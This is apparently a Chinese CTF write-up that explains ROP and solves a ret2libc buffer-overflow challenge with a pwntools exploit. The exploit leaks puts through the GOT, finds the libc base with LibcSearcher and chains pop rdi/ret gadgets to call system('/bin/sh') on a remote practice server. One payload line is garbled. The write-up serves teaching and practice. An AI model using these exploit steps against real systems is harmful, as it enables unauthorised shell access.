PWN10 rop攻击
先做个知识点补充 rop攻击
ROP(Return-Oriented Programming)攻击是一种计算机安全漏洞利用技术,它通常被用于绕过内存保护机制,如不可执行内存(NX)和栈保护(Stack Canaries),以执行恶意代码。ROP 攻击的核心思想是,攻击者构造一系列返回指令(Return-oriented gadgets)的地址,这些指令本身并不包含恶意代码,而是利用程序已有的可执行代码片段,通过这些片段来实现攻击的目标。
下面是 ROP 攻击的一般步骤:
-
1.获取目标程序的信息:攻击者需要了解目标程序的二进制代码,包括内存布局、已知函数、库和数据结构等。通常,这需要分析目标程序的二进制文件或者使用漏洞探测工具。
-
2.构建ROP链:攻击者构建一系列返回指令的地址,这些地址指向程序中的现有代码片段,称为ROP gadgets。这些 gadgets 通常是程序中的 ret 指令、pop 指令和其他指令序列,用于执行特定操作。ROP链的目标是以恶意方式组合这些 gadgets,以实现攻击者的目标,比如执行系统调用或禁用安全机制。
-
3.控制程序执行:攻击者通过利用程序的漏洞,将程序的控制流引导到ROP链的第一个 gadget,从而开始执行ROP链。每个 gadget 执行一些操作,然后跳转到下一个 gadget,直到完成整个ROP链。
4.实现攻击目标:ROP链的最后一个 gadget 通常是一个执行目标操作的 gadget,比如执行系统调用或者加载恶意代码。攻击者可以使用这个 gadget 来实现他们的攻击目标,比如获取系统权限或窃取敏感数据。
-
ROP 攻击的主要优势在于,它利用了程序自身的代码,因此不需要引入新的代码段,从而难以被传统的安全防御机制检测到。然而,构建有效的ROP链可能需要深入理解目标程序的二进制代码,而且这种攻击通常是特定于特定漏洞和目标的,因此它需要相当多的专业知识和定制工作。
为了防御ROP攻击,操作系统和编程语言提供了一些安全机制,如地址空间布局随机化(ASLR)和栈保护(Stack Canaries),这些机制使ROP攻击更加困难。攻击者需要克服这些障碍来成功执行ROP攻击。
以上为chatgpt的解释
我是这么理解的:因为在某些情况下 是没有system函数或者bin/sh 地址的所以我们需要 使用 pop rdi ret(这个就是 把栈顶的内容弹出可能是一个地址 存储在rdi寄存器中 作为下一个函数的参数 然后ret到下一个地址)这个指令来达到攻击的目的 。当然通常需要伴随 libc(c函数基础库)库的泄露然后通过偏移量定位libc库基地址然后去定位到一些敏感函数或者地址。在题中一步一步看吧!
开始解题
拿到附件 先checksec 这里就不截图了 没有防护
然后就丢尽ida
存在溢出 但是没有system函数也没发现后门
也没有什么能用的信息
就可以确定是 ret2libc了
这里用到了一个puts函数 这也是libc库里的 所以大概思路有了
先要获取gad gets
ROP gadgets通常由以下指令序列组成:
-
pop
指令:用于弹出寄存器中的值,通常是从栈上弹出的参数。 -
ret
指令:用于从栈中弹出地址并将控制流返回到该地址。 -
-
我们需要获取 pop rdi指令 用来给函数传参
-
还需要获取ret 用来控制程序的流
这里是 0x400743和0x400506
接下来就是写exp了
(这里按错了 多打了个S)
我来一步一步解释吧(这也是我第一次用到 libcsearcher这个东西)
context(os="linux", arch="amd64")
这里是用pwntools 指定系统和架构 为了更方便的利用一些漏洞
elf = ELF('./babyof')
这里使用ELF()来创建对象elf 这样就可以在代码中访问 附件的函数地址等其他信息了
5-8行都是之前所说的一些地址
puts_plt = elf.plt['puts']
返回 puts
函数在过程链接表(Procedure Linkage Table,PLT)中的地址。PLT 是用于动态链接共享库的表,包含了函数的入口地址。
puts_got = elf.got['puts']
获取 puts
函数的 GOT 入口地址。GOT 是一个全局偏移表,包含了程序在运行时动态链接共享库时的实际函数地址。elf.got['puts']
返回 puts
函数在 GOT 中的地址。
pro = remote('node4.anna.nssctf.cn', 28978)
连接环境
payload = b'a'
*64+b'b'8
*+p64(pop_rdi)+p64(puts_got) + p64(puts_plt)+p64(main_addr)
payload | 制造溢出 | 通过pop_rdi
指令将puts_got
的地址加载到RDI寄存器中,然后调用puts_plt
触发puts
函数执行,从而泄漏puts
函数的真实地址。最后返回main函数继续执行|
pro.sendlineafter('overflow?\n', payload)
在收到 overflow后发送payload
puts_addr= u64(pro.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
在收到7f后获取倒数6位 然后使用ljus将后两位补0 因为高地址两位通常为0 在转成无符号整数 就是puts的真实地址
切片的小知识:[起始地址:结束地址] [-6:]是从倒数第六个到末尾 [6:]是从第六个到到末尾 [:-6]是从开头到倒数第六个舍去最后六位 [:6]开头到第六个
libc = LibcSearcher('puts',puts_addr)
通过libcsearcher来找到相同版本的libc 所以需要提供一个函数以及函数的地址
libc_addr = puts_addr - libc.dump('puts')
通过puts函数的地址-puts函数位于libc的偏移量 算出来的就是libc的基地址了
举个例子 这是 libc库→→→→→→这是puts的真实地址
|↑这是偏移量↑|
binsh=libc_addr+libc.dump('str_bin_sh')
libc的基地址+bin/sh位于libc的偏移量 就是bin/sh的地址
system=libc_addr+libc.dump('system')
同理 不解释
payload=b'a'*(64+8)+p64(ret_addr)+p64(pop_rdi)+p64(binsh)+p64(system)
同样先造成溢出 然后这里为什么会有个ret有一个大佬的解释
(就是调用system函数时 需要栈顶十六字节对齐必须遵守所以 乖听话 咱不叛逆 这样既可以对齐也能保证我们下一步不出错)
接下来就是pop rdi ret的 把/bin/sh的地址作为参数传给system函数执行
pro.sendlineafter('overflow?\n',payload)
就是再传一次payload
然后就做完了